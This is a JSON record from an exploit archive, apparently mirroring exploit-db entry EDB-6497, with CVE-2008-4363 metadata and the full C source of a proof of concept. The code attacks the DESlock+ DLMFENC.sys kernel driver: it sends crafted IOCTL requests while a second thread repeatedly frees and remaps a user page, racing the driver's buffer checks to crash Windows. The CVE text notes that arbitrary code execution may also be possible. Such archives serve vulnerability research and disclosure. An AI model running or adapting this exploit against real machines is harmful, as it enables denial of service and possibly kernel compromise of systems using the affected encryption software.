{"exploit":{"id":"EDB-6497","name":"DESlock+ < 3.2.7 - Local Kernel Race Condition Denial of Service (DoS) (PoC)","description":"DESlock+ < 3.2.7 - Local Kernel Race Condition Denial of Service (DoS) (PoC)","cves":["CVE-2008-4363"],"author":"mu-b","published":"2008-09-20","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6497","path":"exploits/windows/dos/6497.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6497.c","vulnerabilities":[{"id":"CVE-2008-4363","state":"PUBLISHED","title":null,"titleSource":null,"description":"DLMFENC.sys 1.0.0.28 in DESlock+ 3.2.7 allows local users to cause a denial of service (system crash) or potentially execute arbitrary code via a certain DLMFENC_IOCTL request to \\\\.\\DLKPFSD_Device that overwrites a pointer, probably related to use of the ProbeForRead function when ProbeForWrite was intended.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4363","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4363"},"updatedAt":"2024-08-07T10:17:08.442Z","retrievedAt":"2026-11-26T21:11:41.138Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6497.png?v=2","url":"https://exploitbin.com/exploits/EDB-6497","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6497/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6497/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* deslock-probe-race.c\n *\n * Copyright (c) 2008 by <mu-b@digit-labs.org>\n *\n * DESlock+ <= 3.2.7 local kernel race condition DoS POC\n * by mu-b - Fri 22 Feb 2008\n *\n * - Tested on: DLMFENC.sys 1.0.0.28\n *\n * race conditions between calls to ProbeForRead/ProbeForWrite\n * and pointer use.\n *\n * \"Note that subsequent accesses by the driver to the user-mode\n *   buffer must also be encapsulated within a try/except block;\"\n *  - http://msdn.microsoft.com/en-us/library/ms797108.aspx\n *\n * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx\n * - I wonder what that says about CESG CCTM?\n *\n *    - Private Source Code -DO NOT DISTRIBUTE -\n * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <windows.h>\n\n#define DLMFENC_IOCTL 0x0FA4204C\n#define DLMFENC_FLAG  0xDEADBEEF\n\n#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))\n\nstruct ioctl_req {\n  int flag;\n  int req_num;\n  void *arg[ARG_SIZE(0x20)];\n};\n\nvoid\nhammer_thread (void *zpage)\n{\n  BOOL result;\n\n  printf (\"* [child] using page @0x%08X\\n\", zpage);\n\n  while (1)\n    {\n      result = VirtualFree (zpage, 0, MEM_RELEASE);\n      if (result == 0)\n        {\n          fprintf (stderr, \"* [child] VirtualFree failed\\n\");\n          exit (EXIT_FAILURE);\n        }\n\n      zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,\n                             MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n      if (zpage == NULL)\n        {\n          fprintf (stderr, \"* [child] VirtualAlloc failed\\n\");\n          exit (EXIT_FAILURE);\n        }\n    }\n}\n\nint\nmain (int argc, char **argv)\n{\n  struct ioctl_req req;\n  HANDLE hFile, hThread;\n  DWORD rlen, dThread, nTotal, nFail;\n  LPVOID zpage;\n  BOOL result;\n\n  printf (\"DESlock+ <= 3.2.7 local kernel race condition DoS PoC\\n\"\n          \"by: <mu-b@digit-labs.org>\\n\"\n          \"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\\n\\n\");\n\n  fflush (stdout);\n  hFile = CreateFileA (\"\\\\\\\\.\\\\DLKPFSD_Device\", FILE_EXECUTE,\n                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,\n                       OPEN_EXISTING, 0, NULL);\n  if (hFile == INVALID_HANDLE_VALUE)\n    {\n      fprintf (stderr, \"* CreateFileA failed, %d\\n\", hFile);\n      exit (EXIT_FAILURE);\n    }\n\n  zpage = VirtualAlloc ((LPVOID) 0x41000000, 0x10000,\n                        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n  if (zpage == NULL)\n    {\n      fprintf (stderr, \"* VirtualAlloc failed\\n\");\n      exit (EXIT_FAILURE);\n    }\n  printf (\"* allocated page: 0x%08X [%d-bytes]\\n\",\n          zpage, 0x10000);\n\n  hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hammer_thread,\n                          zpage, 0, &dThread);\n  if (hThread == NULL)\n    {\n      fprintf (stderr, \"* CreateThread failed\\n\");\n      exit (EXIT_FAILURE);\n    }\n\n  nTotal = nFail = 0;\n  while (1)\n    {\n      memset (&req, 0, sizeof req);\n      req.flag = DLMFENC_FLAG;\n      req.req_num = 4;\n      req.arg[0] = (void *) zpage;\n\n      nTotal++;\n      result = DeviceIoControl (hFile, DLMFENC_IOCTL,\n                                &req, sizeof req, &req, sizeof req, &rlen, 0);\n      if (!result)\n        {\n          if (!(nFail++ % 1024))\n            {\n              char *p_arr[] = { \"DESLock\", \"ProbeForWrite\", \"a\", \"races\",\n                                \"dull\", \"make\", \"boy\" };\n              fprintf (stderr, \"* total: %d [failed: %d, %f%%] [%13s]\\r\",\n                       nTotal, nFail, (((double) nFail)/nTotal)*100, p_arr[nFail%7]);\n              fflush (stderr);\n          }\n        }\n    }\n\n  /* unreachable! */\n  printf (\"* hmmm, you didn't STOP the box?!?!\\n\");\n\n  CloseHandle (hFile);\n\n  return (EXIT_SUCCESS);\n}\n\n// milw0rm.com [2008-09-20]","sha256":"57589d05934a3da41e6d105da1bb9a944f13556b78d7c273a0f00e9c0939ca50","bytes":3704,"fetchedAt":"2026-11-26T21:11:39.435Z","encoding":"utf-8 (display only; download retains original bytes)"}